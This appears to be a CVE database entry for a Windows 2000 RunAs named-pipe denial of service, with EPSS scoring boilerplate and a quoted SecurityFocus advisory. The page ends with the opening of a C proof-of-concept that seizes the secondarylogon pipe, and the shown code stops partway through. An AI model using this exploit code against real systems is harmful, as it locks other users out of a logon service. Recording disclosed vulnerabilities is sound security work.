CVE Descriptions

RunAs (runas.exe) in Windows 2000 only creates one session instance at a time, which allows local users to cause a denial of service (RunAs hang) by creating a named pipe session with the authentication server without any request for service. NOTE: the vendor disputes this vulnerability, however the vendor also presents a scenario in which other users could be affected if running on a Terminal Server. Therefore this is a vulnerability.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/3291/info The Windows 2000 RunAs service allows an application or service to be executed as a different user. It is accessed by holding down the shift key and right mouse clicking on an icon, then selecting 'Run as...' from the context menu. When the service is invoked, it creates a named pipe session with the specified server for authentication of credentials. The RunAs service only allows one instance of this session at a time. If a client were to create this pipe on the server without requesting any service, other clients would be unable to connect to this service. // radix1112200103.c - Camisade - Team RADIX - 11-12-2001 // // Camisade (www.camisade.com) is not responsible for the use or // misuse of this proof of concept source code. #define WIN32_LEAN_AND_MEAN #define UNICODE #define _UNICODE #include <windows.h> #include <tchar.h> #include <stdio.h> #include <conio.h> #define SECLOGON_PIPE _T("\\\\.\\pipe\\secondarylogon") void main() { HANDLE hPipe; hPipe = CreateFile(SECLOGON_PIPE, GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); if (hPipe == INVALID_HANDLE_VALUE) { printf("Unable to open pipe, error %d\n", GetLastError()); return; } printf("Connected to pipe.
